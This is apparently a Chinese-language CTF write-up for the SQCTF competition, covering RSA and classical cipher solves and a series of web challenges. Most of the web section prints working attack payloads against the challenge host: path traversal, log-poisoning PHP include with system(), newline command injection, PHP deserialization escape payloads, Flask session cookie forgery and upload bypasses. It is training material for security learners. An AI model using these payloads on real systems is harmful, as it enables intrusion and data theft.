p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
print(p)
q = n // p

phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)

你的天赋是什么

摩斯密码直接解


SQCTF{YOU-HAVE-TALENT}

1 ... --.- -.-. - ..-. ----.-- -.-- --- ..- -....- .... .- ...- . -....- - .-

.-.. . -. - -----.-


Common Modulus

共模攻击直接梭

在贴一个脚本

import libnum
import gmpy2

n= 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1= 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2= 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1= 4217054819
e2= 2800068527

def exp_def(e1,e2,c1,c2,n):
    s,s1,s2 = gmpy2.gcdext(e1, e2)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)

m=exp_def(e1,e2,c1,c2,n)
print(libnum.n2s(m))


《1789年的密文》

杰弗逊圆盘密码 (Jefferson Disk Cipher) 或其变种

  1. 模拟组装: 根据密钥 key 提供的顺序,在逻辑上(或在代码中)“排列”好对应的14个密码盘(字母表)。
  2. 模拟对齐: 以密文 UNEHJPBIUOMAVZ 为目标,对模拟圆筒上的每一列(每个密码盘)进行“旋转”。具体操作是:

对于第 i 个位置,使用密钥 key[i] 找到对应的密码盘字母表。 在该字母表中找到密文的第 i 个字符 ciphertext[i] 的位置。

计算需要旋转多少位,才能让这个 ciphertext[i] 对齐到我们选定的“密文参考行”(通常假定为第0行)。

记录下每个密码盘旋转后的状态(即旋转后的字母表顺序)。

  1. 生成所有候选行: 一旦所有密码盘都根据密文字符对齐好,我们就得到了一个固定的圆筒状态。现在,从这个状态中读取所有26条水平线:

第0行是由每个盘旋转后排在第0位的字母组成。 第1行是由每个盘旋转后排在第1位的字母组成。 ...

第25行是由每个盘旋转后排在第25位的字母组成。

爆破一手

import collections

# --- 输入数据 ---
ciphertext = "UNEHJPBIUOMAVZ"
key = [4, 2, 11, 8, 9, 12, 3, 6, 10, 14, 1, 5, 7, 13]
alphabet_tables = {
    1: "QWXZRJYVKSLPDTMACFNOGIEBHU", 2: "BXZPMTQOIRVHKLSAFUDGJYCEWN",
    3: "LKJHGFDSAQZWXECRVBYTNUIMOP", 4: "POIUYTREWQASDFGHJKLMNBVCXZ",
    5: "ZXCVBNMASDFGHJKLPOIUYTREWQ", 6: "MNHBGVCFXDRZESWAQPLOKMIJUY",
    7: "YUJIKMOLPQAWSZEXRDCFVGBHNM", 8: "EDCRFVTGBYHNUJMIKOLPQAZWSX",
    9: "RFVGYBHNUJMIKOLPQAZWSXEDCT", 10:"TGBYHNUJMIKOLPQAZWSXEDCRFV",
    11:"WSXEDCRFVTGBYHNUJMIKOLPQAZ", 12:"AZQWSXEDCRFVTGBYHNUJMIKOLP",
    13:"VFRCDXESZWAQPLOKMIJNUHGBTG", 14:"IKOLPQAZWSXEDCRFVTGBYHNUJM"
}

# --- 解密过程 ---
aligned_disks_deque = []
try:
    # 1. 模拟组装和对齐
    for i, key_num in enumerate(key):
        disk_alpha = alphabet_tables[key_num]
        cipher_char = ciphertext[i]
        cipher_char_index = disk_alpha.index(cipher_char) # 找到密文字符位置
        
        # 使用deque进行高效旋转,使密文字符对齐到索引0
        d = collections.deque(disk_alpha)
        d.rotate(-cipher_char_index) 
        aligned_disks_deque.append(d)

    # 2. 生成所有可能的行
    print("--- 所有可能的明文行 (请识别有意义的一行) ---")
    for row_index in range(26):
        # 从每个对齐后的盘中取第 row_index 个字母组成一行
        candidate_row = "".join(disk[row_index] for disk in aligned_disks_deque)
        # 标记出我们用于对齐的那一行(理论上是密文本身,但经过旋转,现在是第0行)
        marker = " <-- (此行为密文对齐行)" if row_index == 0 else ""
        print(f"行 {row_index:>2}: {candidate_row}{marker}")

except (KeyError, ValueError) as e:
    print(f"处理出错: {e}. 请检查密钥或密码表是否完整且密文字符存在于表中。")

大写试了一遍每一个对的,又试了一遍小写

SQCTF{maketysecgreat}

Web

ezGame

直接玩死,然后修改分数


sqctf{1c42ea267e6545c28c942c9dd449c471}

Through


目录穿越

..././..././..././flag

File_download

提示使用 /DownloadServlet 路由访问,参数 filename

可以读取文件



找找相关的目录结构

看看 web.xml

  1. This XML file does not appear to have any style information associated with it. The document tree is shown below.
  2. <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5">
  3. <display-name>JavaTest2</display-name>
  4. <welcome-file-list>
  5. <welcome-file>index.html</welcome-file>
  6. <welcome-file>index.jsp</welcome-file>

http://challenge.qsnctf.com:31420/DownloadServlet?filename=WEB-INF/web.xml

1 定义Web应用的核心配置:web.xml 是标准的 Java EE/Java Web 配置文件,用于声明 Servlet、过滤器(Filter)、监听器(Listener)、欢迎页面、安全约束等组件。



  1. </welcome-file-list>
  2. <servlet>
  3. <servlet-name>DownloadServlet</servlet-name>
  4. <servlet-class>com.ctf.file.DownloadServlet</servlet-class>
  5. </servlet>
  6. <servlet-mapping>
  7. <servlet-name>DownloadServlet</servlet-name>
  8. <url-pattern>/DownloadServlet</url-pattern>
  9. </servlet-mapping>
  10. <servlet>
  11. <servlet-name>FlagManager</servlet-name>
  12. <servlet-class>com.ctf.flag.FlagManager</servlet-class>
  13. </servlet>
  14. <servlet-mapping>
  15. <servlet-name>FlagManager</servlet-name>
  16. <url-pattern>/FlagManager</url-pattern>
  17. </servlet-mapping>
  18. </web-app>

这里看到了 FlagManager 函数,尝试读取

在 Tomcat 的 Web 应用中,编译后的 Java 类文件(.class)必须放在 WEB-INF/classes 目录

下,且需保持与包名(package)对应的目录结构。

根据你的 web.xml 中定义的 Servlet 类路径:

com.ctf.file.DownloadServlet com.ctf.flag.FlagManager

apache-tomcat-9.0.96\webapps\ROOT\WEB-INF\classes\ com\ctf\file\DownloadServlet.class

com\ctf\flag\FlagManager.class

使用 POST 请求可以下载文件

// Source code is decompiled from a .class file using FernFlower decompiler.
package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager extends HttpServlet {
   public FlagManager() {
   }

   public static void main(String[] args) {
      Scanner sc = new Scanner(System.in);
      System.out.println("Please input your flag: ");
      String str = sc.next();
      System.out.println("Your input is: ");
      System.out.println(str);
      char[] stringArr = str.toCharArray();
      Encrypt(stringArr);
   }

   public static void Encrypt(char[] arr) {
      ArrayList<Integer> Resultlist = new ArrayList();

      for(int i = 0; i < arr.length; ++i) {
         int result = arr[i] + 38 ^ 48;
         Resultlist.add(result);
      }

      int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};
      ArrayList<Integer> Keylist = new ArrayList();

      for(int j = 0; j < key.length; ++j) {
         Keylist.add(key[j]);
      }

      System.out.println("Result: ");
      if (Resultlist.equals(Keylist)) {
         System.out.println("Congratulations! ");
      } else {
         System.out.println("Error! ");
      }

   }
}


写一个脚本进行解密

Java代码分析:

  1. 程序接收一个字符串输入。
  2. 将字符串转换为字符数组 arr。
  3. 对 arr 中的每个字符 c 执行加密操作:result = (c + '&') ^ 48。

c + '&':将字符 c 的ASCII码加上字符 '&' 的ASCII码(即38)。

^ 48:将上一步的结果与整数 48(即字符 '0' 的ASCII码)进行按位异或(XOR)操作。

  1. 将每个 result 存储到一个整数列表 Resultlist 中。
  2. 将一个硬编码的整数数组 key 转换为列表 Keylist。
  3. 比较用户输入的加密结果 Resultlist 是否与硬编码的 Keylist 完全相等。

解密逻辑:

我们需要反转加密操作 result = (ASCII(c) + 38) ^ 48 来求解 ASCII(c)。

  1. 已知 result (来自 key 数组) 和 48。
  2. 利用异或的性质(a ^ b = c 则 a ^ c = b): result ^ 48 = (ASCII(c) + 38) ^ 48 ^ 48 result ^ 48 = ASCII(c) + 38
  3. 移项得到 ASCII(c): ASCII(c) = (result ^ 48) - 38
import sys

def decrypt_flag():
    """
    Reverses the encryption logic from the Java code to find the original flag.
    """
    # The hardcoded key array from the Java code
    key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

    decrypted_chars = []

    # ASCII value of '&' is 38
    ampersand_ascii = ord('&') # which is 38

    # The integer 48 used in XOR
    xor_value = 48

    # Iterate through each integer in the key array
    for encrypted_val in key:
        # Reverse the encryption steps:
        # 1. Reverse the XOR: temp = encrypted_val ^ xor_value
        temp = encrypted_val ^ xor_value

        # 2. Reverse the addition: original_char_ascii = temp - ampersand_ascii
        original_char_ascii = temp - ampersand_ascii

        # Check if the resulting ASCII value is valid (optional but good practice)
        if 0 <= original_char_ascii <= 127: # Basic ASCII range check
             # Convert the ASCII value back to a character
            decrypted_char = chr(original_char_ascii)
            decrypted_chars.append(decrypted_char)
        else:
            print(f"Warning: Calculated invalid ASCII value {original_char_ascii} for encrypted value {encrypted_val}", file=sys.stderr)
            decrypted_chars.append("?") # Placeholder for potential errors

    # Join the decrypted characters to form the flag string
    decrypted_flag = "".join(decrypted_chars)

    print("Decrypted Flag:")
    print(decrypted_flag)

if __name__ == "__main__":
    decrypt_flag()


SQCTF{85caad1c-33e3-0bc1-6d5e-a73b044f7d9f}

商师一日游

Referer:source

sqctf{



Cookie:fish=strong


01cd

5a5f99

434f4bb


?hhh=%0aphp

55156f35

删除 disabled 点击

47bce


蚁剑链接


d8}

sqctf{363bd3a526a844aeb03c6048aa98e25b}

baby include

日志文件包含

?look=<?php system('cat f*');?>

?look=file:///var/log/nginx/access.log

sqctf{b356aa0270c14227900915bffc5a4b5e}


My Blog

点击Github标签下载文件


username : admin
password : secret123


后台地址 /login.php (robots.txt里面)

sqctf{3b62cb70cd164395b4884872fdf0426e}



唯一

模糊测试出参数 note ,ssit



有过滤 fenjing 一把梭


sqctf{110045df7f9d43a8854ac1a8b6cf17c6}


Upload_Level1

一个简单的过滤,上传文件png,修改后缀为php直接绕过


sqctf{9142e43322ff4b818904fb6f185727ce}

eeaassyy

Ctrl+Shift+i



sqctf{af88f0977b3f4072a647213e93ec6f1b}

逃

<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
    $black_list=array("flag","php");
    return str_replace($black_list,"stop",$payload);
}
class test{
    var $user = 'test';
    var $pswd = 'sunshine';
    function __construct($user){
        $this->user=$user;
    }
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
    echo "逃出来了, 恭喜恭喜<br>";
    echo $flag;
}
?> 

问题分析

  1. 目标: 让 unserialize() 函数执行后,得到的 $profile 对象的 pswd 属性等于字符串 'escaping'。
  2. 障碍: filter() 函数会将用户输入 ($payload) 中的 "flag" 和 "php" 替换成 "stop"。
  3. 关键点: 替换操作改变了字符串的长度。"php" (3个字符) 被替换成 "stop" (4个字符),长度增加了

1。"flag" (4个字符) 被替换成 "stop" (4个字符),长度不变。

  1. 漏洞利用: PHP的 unserialize() 函数在解析字符串时,会严格按照序列化格式中定义的长度(例 如 s:10:"abcdefghij"; 中的 10)来读取数据。如果在 unserialize() 执行 之前,字符串的实际内容因为 filter() 函数的替换而变长了,但序列化格式中定义的长度没有变,unserialize() 就会在读取完指定长度的字符后,将后面多出来的字符当作序列化流的下一部分来解析。这就是 反序列化长度变 化 漏洞,也常被称为 字符串逃逸。

利用思路

我们需要构造一个序列化的 test 对象字符串,让它的 user 属性包含足够多的 "php" 字符串。

当 filter() 函数把这些 "php" 替换成 "stop" 后,user 字符串的实际长度会增加。增加出来的这部分 "溢出" 的字符,需要恰好构成我们想要注入的代码: ";s:4:"pswd";s:8:"escaping";}。

计算

  1. 我们想注入的代码是: ";s:4:"pswd";s:8:"escaping";}
  2. 这段代码的长度是 27 个字符。
  3. 每一次 "php" 被替换成 "stop",字符串长度增加 1 (4 - 3 = 1)。
  4. 因此,我们需要在 user 属性的值中包含 27 个 "php" 字符串,才能产生 27 个额外的字符长度。
  5. 我们构造原始的 test 对象,其 user 属性的值包含一些前缀(比如 "A")、27个 "php"、以及我们想注入的代码本身。pswd 属性可以先随便设置一个值(比如默认的 'sunshine'),因为它会被我们注入的代码覆盖掉。
<?php

// 目标:让反序列化后的 $profile->pswd == 'escaping'
// 利用点:filter 函数将 "php" (3字节) 替换为 "stop" (4字节),长度增加1
// 注入代码:我们需要在反序列化时,动态地插入 ";s:4:"pswd";s:8:"escaping";}" 这部分
//          注意最后的 "}" 会提前闭合对象,让原始的 pswd 定义被忽略。
$inject_code = '";s:4:"pswd";s:8:"escaping";}';

// 计算注入代码的长度
$inject_len = strlen($inject_code); // 长度为 28

// 需要多少个 "php" -> "stop" 的替换来产生足够的额外长度?
// 每个替换增加 1 字节,需要增加 $inject_len 字节。
$php_repeats = $inject_len; // 需要 28 个 "php"

// 构造 user 属性的值(过滤前)
// 它需要包含足够的 "php" 以及我们想要注入的代码本身。
// 选择一个任意的前缀,比如 "X",以确保字符串不为空。
$user_value_before_filter = "X" . str_repeat("php", $php_repeats) . $inject_code;

// 计算 user 属性值在序列化前的准确长度
$user_len_before_filter = strlen($user_value_before_filter);
// $user_len_before_filter = 1 (for "X") + 28 * 3 (for "php") + 28 (for $inject_code) = 1 + 84 + 28 = 113

// 手动构造最终的序列化 Payload (过滤前)
// 我们声明对象有 2 个属性,但 user 的值在过滤后会“溢出”,
// 并包含 pswd 的定义和对象的结束符 '}'。
// 原始 pswd 的值(如 'sunshine')会被我们注入的代码覆盖掉。
$payload_before_filter = 'O:4:"test":2:{s:4:"user";s:' . $user_len_before_filter . ':"' . $user_value_before_filter . '";s:4:"pswd";s:8:"sunshine";}';
// 这个 'sunshine' 只是个占位符,最终会被 'escaping' 覆盖

echo "生成的 Payload (过滤前):\n";
echo $payload_before_filter;
echo "\n\n";

echo "需要进行 URL 编码后提交给目标 ?payload= 参数:\n";
echo urlencode($payload_before_filter);
echo "\n\n";

echo "构造的 GET 请求 URL 示例 (请替换 <target_url>):\n";
echo "http://<target_url>/your_script.php?payload=" . urlencode($payload_before_filter);
echo "\n";
?>
http://challenge.qsnctf.com:30317/?payload=O%3A4%3A%22test%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A117%3A%22Xphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22escaping%22%3B%7D%22%3Bs%3A4%3A%22pswd%22%3Bs%3A8%3A%22sunshine%22%3B%7D

sqctf{6f065ef5484b4d378612a9b5feea3898}

嘿嘿嘿

<?php
highlight_file(__FILE__);

class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }

    public function __destruct() {
        if ($this->file && $this->content) {
            if (strpos($this->file, 'flag') !== false) {
                die("No flag file!");
            }
            if (file_exists($this->file)) {
                die("File already exists!");
            }
            file_put_contents($this->file, $this->content);
        }
    }
}

class xxx {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __toString() {
        return $this->data;
    }
}

class yyy {
    public $path;
    public $allowed;

    public function __construct($path, $allowed) {
        $this->path = $path;
        $this->allowed = $allowed;
    }

    public function __toString() {
        if ($this->allowed) {
            return file_get_contents($this->path);
        } else {
            return "Access Denied!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = unserialize($_POST['data']);

    if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
        die("No cheating!");
    }

    if (strpos($data->file, 'php://') !== false) {
        die("No php protocol!");
    }

    if ($data->content === "GET_FLAG") {
        echo "Flag: " . file_get_contents("flag.php");
    }
}
?>

代码分析:

  1. 入口点:代码接收POST请求中的data参数,并对其进行unserialize()操作。这是典型的PHP反序列化漏洞。
  2. 目标:我们的最终目标是让代码执行echo "Flag: " . file_get_contents("flag.php");这一行。
  3. 触发条件:要执行获取Flag的代码,必须满足条件$ data->content === "GET_FLAG"。这里的

$data是反序列化后得到的对象,=== 表示不仅值要相等,类型也要完全相同(必须是字符串"GET_FLAG")。

  1. 类 hhh:

有两个公共属性:$file和$content。

destruct方法(对象销毁时自动调用)会尝试将 $ content写入$file,但有一些限制: 文件名不能包含flag (strpos($this->file, 'flag') !== false)。

文件不能已存在 (file_exists($this->file))。

注意: destruct是在脚本执行结束或对象不再被引用时才调用,通常在我们的目标代码

echo之后。

  1. 类 xxx 和 yyy:这两个类定义了 toString方法,在对象被当作字符串使用时(例如echo $ obj;或字符串拼接时)会自动调用。yyy类在$allowed为true时可以用来读取文件。但在这个题目里,它们似乎是干扰项,因为我们的目标可以直接通过hhh类实现。
  2. 检查逻辑:在判断$ data->content === "GET_FLAG"之前,代码对反序列化得到的$data对象的file

属性进行了一些检查:

is_array($ data->file):$file不能是数组。

md5($ data->file) === md5("flag.php"):$file的MD5值不能和"flag.php"的MD5值相同(使用=== 严格比较,避免了常见的MD5类型比较绕过)。

strpos($ data->file, 'php://') !== false:$file不能包含php://,阻止了使用php://filter等流包装器。

解题思路:

核心在于构造一个序列化的字符串,当服务器unserialize()它之后,得到一个对象$data,这个对象需要满足以下条件:

  1. 它有一个content属性,其值严格等于字符串"GET_FLAG"。
  2. 它有一个file属性,这个属性的值需要通过所有的检查: 不是数组。

其MD5值不等于"flag.php"的MD5值。

不包含子字符串"php://"。

最直接的方法是构造一个hhh类的对象,因为代码访问了$data->file和$data->content。

<?php
// 需要定义目标服务器上的类结构,以便正确序列化
class hhh {
    public $file;
    public $content;
    // 构造函数和析构函数在序列化时不需要,只需要属性定义
}

// 创建对象实例
$exploit_object = new hhh();

// 设置属性值
$exploit_object->file = "a";       // 满足 file 的检查条件
$exploit_object->content = "GET_FLAG"; // 满足最终获取 flag 的条件

// 序列化对象
$payload = serialize($exploit_object);

// 输出payload
echo $payload;
?>
O:3:"hhh":2:{s:4:"file";s:1:"a";s:7:"content";s:8:"GET_FLAG";}
http://challenge.qsnctf.com:30268/

POST:data=O:3:"hhh":2:{s:4:"file";s:1:"a";s:7:"content";s:8:"GET_FLAG";}

Ping

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    
    if (strpos($ip, ';') !== false) {
        die('Hacker detected!');
    }
    
    system("ping -c 1 " . $ip);
} else {
    
    highlight_file(__FILE__);
}
?>

%0a直接绕过

?ip=127.0.0.1%0acat /flag

sqctf{bdd3967bf22b4eb388fdbd519385594d}


小小查询系统


存在sql注入,sqlmap一把梭

Input a number

使用8进制直接绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
    $num = $_GET['sqctf'];
    if($num==114514){
        die("逸一时, 误一世!");
    }
    if(intval($num,0)==114514){
        echo $flag;
    }else{
        echo "看看你输入的数字: ".intval($num,0);
    }
}

?>



?sqctf=0337522a

Ez_calculate

在有限的时间内计算数值并发送脚本

import requests
from bs4 import BeautifulSoup
import re

url = "http://challenge.qsnctf.com:30201/"
s = requests.Session()
r = s.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
expr = re.search(r'([\d\s\+\-\*\/]+)', soup.find('div', class_='challenge').text).group(1).replace(' ', '')
r = s.post(url, data={'value': eval(expr)})
print(r.text)

访问 /flag (flag没做限制,不进行计算直接访问flag也可以拿到flag)

哎呀大大大黑塔

找到全站第一个的视频番号

payload

?SQNU=BV1tXckehEd3

<?php
class Secret {
    public $key;
    public function __construct($key) {
        $this->key = $key;
    }
    public function __destruct() {
        if ($this->key === "SQCTF") {
            include "./flag.php";
            echo "flag : ".$flag;
        } else {
            echo "Try harder!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = $_POST['data'];
    $obj = unserialize($data);
} else {
    highlight_file(__FILE__);
}
?>

payload

<?php
class Secret {
    public $key;
    // 为了序列化,我们不需要构造和析构函数定义在这里
}

$exploit_object = new Secret();
$exploit_object->key = "SQCTF"; // 设置 key 的值为 "SQCTF"

$serialized_payload = serialize($exploit_object);
echo $serialized_payload;
?>




Upload_Level2

前端验证,抓包改后缀,绕过解析

.jpg.php

baby rce



<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
    if(sha1($param1) == sha1($param2)){
        $token = true;
        echo "Level 1 pass\n";
    }
}

class TYctf{
    public $person = 20;
    public $computer_number = 30;

    function getNumber(){
        if(isset($this->person)) {
            echo $this->person;
        }
    }
    function isFullUse(){
        if($this->person != $this->computer_number){
            echo "computer is lacking !!!\n";
        }
        else{
            echo "computer is enough !!!\n";
        }
    }
    static function getKey(){
        include ("flag.php");
        echo "Level 2 pass\n";
        echo "You are winner, this is your reward: \n";
        echo $flag;
    }
}

if($token){
    call_user_func($_POST['payload']);
}

?>

payload

curl -X POST -d 'payload=TYctf::getKey' 'http://challenge.qsnctf.com:32329/?param1[]=1&param2[]=2'

白月光

存在ssit模板注入,fenjing一把梭

fenjing crack --url 'http://challenge.qsnctf.com:31382/' --method POST --inputs name


无参之舞

登录界面看源代码发现用户名,爆破密码


  1. username:sqctf
  2. password:1q2w3e4r

过滤了好些参数

payload


  1. /?exp=var_dump(scandir(phpversion()[1]));
  2. /?exp=readfile('f1ag.php');

RceMe


<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
    system($command);
} else {
    print("你小子干什么呢?");
}

payload

1 /?com=nl /*

伪装



from flask import Flask, session, request, render_template_string
import flask
import os

app = Flask(__name__)
app.secret_key = 'love'

@app.route('/')
def index():
    session['role'] = {
        'is_admin': 0,
        'name': 'aiyamaya'
    }
    with open(__file__, 'r') as file:
        code = file.read()
    return code

@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return 'Without you, you are an intruder!'

    if role.get('is_admin') == 1 and role.get('name') == 'sjx':
        flag = os.popen("cat /flag").read()
        message = "Oh, You get me! The flag is: %s" % flag
        return render_template_string(message)
    else:
        return "Error: You don't have the power!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
  1. 漏洞点: 代码中 app.secret_key = 'love' 设置了一个非常简单且已知的密钥。Flask 使用这个密钥来签名 Session Cookie,防止客户端篡改。但因为我们知道了密钥,我们就可以自己生成一个合法的 Session Cookie。
  2. 目标: 为了访问 /admin 并读取 flag,我们需要让 Session 中的 role 满足以下条件:

role 是一个字典 (dict)。

role['is_admin'] 的值等于 1。 role['name'] 的值等于 'sjx'。

即,我们需要构造一个包含 {'role': {'is_admin': 1, 'name': 'sjx'}} 数据的 Session。

  1. 工具: 我们需要一个工具来根据数据和密钥 'love' 生成 Flask 的签名 Session Cookie。常用的工具是 flask-unsign。
flask-unsign --sign --cookie "{'role': {'is_admin': 1, 'name': 'sjx'}}" --secret 'love'
eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_kH3Q.HhgMu_frB9uXwju375aLn76mvBk
curl -b "session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_kH3Q.HhgMu_frB9uXwju375aLn76mvBk" http://challenge.qsnctf.com:30405/admin



Are you from SQNU?

POST / HTTP/1.1

tyctf=123&hhh=abc

POST / HTTP/1.1
Referer: https://sqnu-tysec.com

tyctf=123&hhh=abc

POST / HTTP/1.1
User-Agent: TYsecBrowser
Referer: https://sqnu-tysec.com

tyctf=123&hhh=abc

POST / HTTP/1.1
User-Agent: TYsecBrowser
Referer: https://sqnu-tysec.com
X-Forwarded-For: 127.0.0.1

tyctf=123&hhh=abc


POST / HTTP/1.1
User-Agent: TYsecBrowser
Referer: https://sqnu-tysec.com
X-Forwarded-For: 127.0.0.1
Cookie: user=admin

tyctf=123&hhh=abc


Look for the homepage

​challenge.php

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

// 怎么在不知道flag.php中的code和flag的情况下绕过?  我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
  $pass1 = (String)$_GET['pass1'];
  $pass2 = (String)$_GET['pass2'];
  $verify_code = (String)$_GET['verify'];

  if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
    echo "Level1 Pass\n";
    echo "关关难过关关过 !!!";
    if(isset($_POST['value1'])){
      $value1 = $_POST['value1'];
      $value3 = $_GET['value3'];

      parse_str($value1,$a);

      if($a['fly']==md5($value3)){
        echo "Level2 Pass\n";
        echo $flag;
      }
    }
    else{
      echo "想想看parse_str是干嘛的来着\n";
    }
  }
  else{
    echo "你小子就是这样绕过的吗 ???\n";
  }
}


  1. Level 1 验证:

代码首先检查 GET 请求中是否同时存在 pass1, pass2, verify 三个参数。

if($verify_code === $code && $pass1 === $flag || $pass2 === "welcome"):这是核心判断条件。

$verify_code === $code && $pass1 === $flag: 这部分要求我们提交的 verify 参数严格等于 flag.php 中的 $code 变量,并且 pass1 参数严格等于 flag.php 中的 $flag 变量。因为我们不知道 $code 和 $flag 的值,所以想通过这个条件几乎是不可能的。这里

的 === 是严格比较,不仅值要相等,类型也要相等。

||: 这是一个逻辑或操作符。如果前面的条件 (&& 连接的部分) 为假 (false),那么 PHP

会继续判断后面的条件。

$pass2 === "welcome": 这个条件就简单多了,它只要求我们提交的 pass2 参数严格等于字符串 "welcome"。

绕过方法:利用 || (或) 操作符。我们只需要满足 || 右边的条件 $pass2 === "welcome",整个 if 判断就会为真 (true),从而绕过对 $code 和 $flag 的检查。所以,我们只需要在 GET 请求中设置 pass2=welcome 即可。同时,因为外层有 isset 检查,我们还需要提

供 pass1 和 verify 参数,但它们的值可以是任意的(比如 pass1=1&verify=1)。

  1. Level 2 验证:

如果 Level 1 通过,代码会输出 "Level1 Pass"。 接着检查 POST 请求中是否存在 value1 参数。

$value1 = $_POST['value1'];: 获取 POST 过来的 value1 的值。

$value3 = $_GET['value3'];: 获取 GET 请求中的 value3 的值。注意,这个参数也需要在之前的 GET 请求中提供。

parse_str($value1,$a);: 这是 Level 2 的关键。parse_str 函数会将一个查询字符串(类似 URL后面的参数部分,如 key1=val1&key2=val2)解析到变量中。这里它会将 $value1 字符串解析,并将结果存入数组 $a 中。例如,如果 $value1 是 "name=test&age=10",那么执行

后 $a 就会变成 ['name' => 'test', 'age' => '10']。

if($a['fly']\==md5($value3)): 这是最终的判断条件。它要求数组 $a 中键名为 fly 的元素的值,必须等于 GET 参数 value3 的 MD5 哈希值。

绕过方法:

  1. 我们需要控制 $a['fly'] 的值和 md5($value3) 的值,使它们相等。
  2. 我们可以在 GET 请求中任意设置 value3 的值,比如 value3=1。
  3. 计算 md5("1") 的值。你可以使用在线工具或 PHP 函数计算,md5("1") 的结果是 c4ca4238a0b923820dcc509a6f75849b。
  4. 现在,我们需要让 $a['fly'] 的值也等于 c4ca4238a0b923820dcc509a6f75849b。
  5. 因为 $a 是通过 parse_str($value1, $a) 生成的,所以我们需要构造 $value1 的值,让它在解析后能在 $a 数组中创建 fly 这个键,并且对应的值是上面计算出的 MD5 哈希。
  6. 最直接的方法就是让 $value1 的内容是 "fly=c4ca4238a0b923820dcc509a6f75849b"。
  7. 所以,我们需要发送一个 POST 请求,其中包含参数 value1,它的值是 fly=c4ca4238a0b923820dcc509a6f75849b。

总结攻击步骤

  1. URL (包含 GET 参数):

pass1: 任意值,例如 1 pass2: 必须是 welcome verify: 任意值,例如 1

value3: 我们选择的值,例如 1

完整的 URL 形如:http://challenge.qsnctf.com:30279/challenge.php?pass1=1&pass2=wel come&verify=1&value3=1

  1. POST 数据:

value1: 必须是 fly=md5(value3的值)。因为我们上面选择了 value3=1,并且 md5("1") 是 c4ca4238a0b923820dcc509a6f75849b。

所以 POST 数据是:value1=fly=c4ca4238a0b923820dcc509a6f75849b


1 curl -X POST -d "value1=fly=c4ca4238a0b923820dcc509a6f75849b" "http://challenge.qsnctf.com:30279/challenge.php? pass1=1&pass2=welcome&verify=1&value3=1"


自私的小s

上来就元神启动。

<?php
highlight_file(__FILE__);
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }
  
    function __destruct(){
        echo eval($this->value);
    }
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?>


1 构造序列化对象: 我们需要在本地构造一个 Genshin_impact 类的序列化字符串。在这个字符串中,我们需要设置私有属性 $value 的值为我们想执行的 PHP 代码字符串,比如 system('cat

/flag'); 或 system('ls /'); 来查看根目录文件,或者

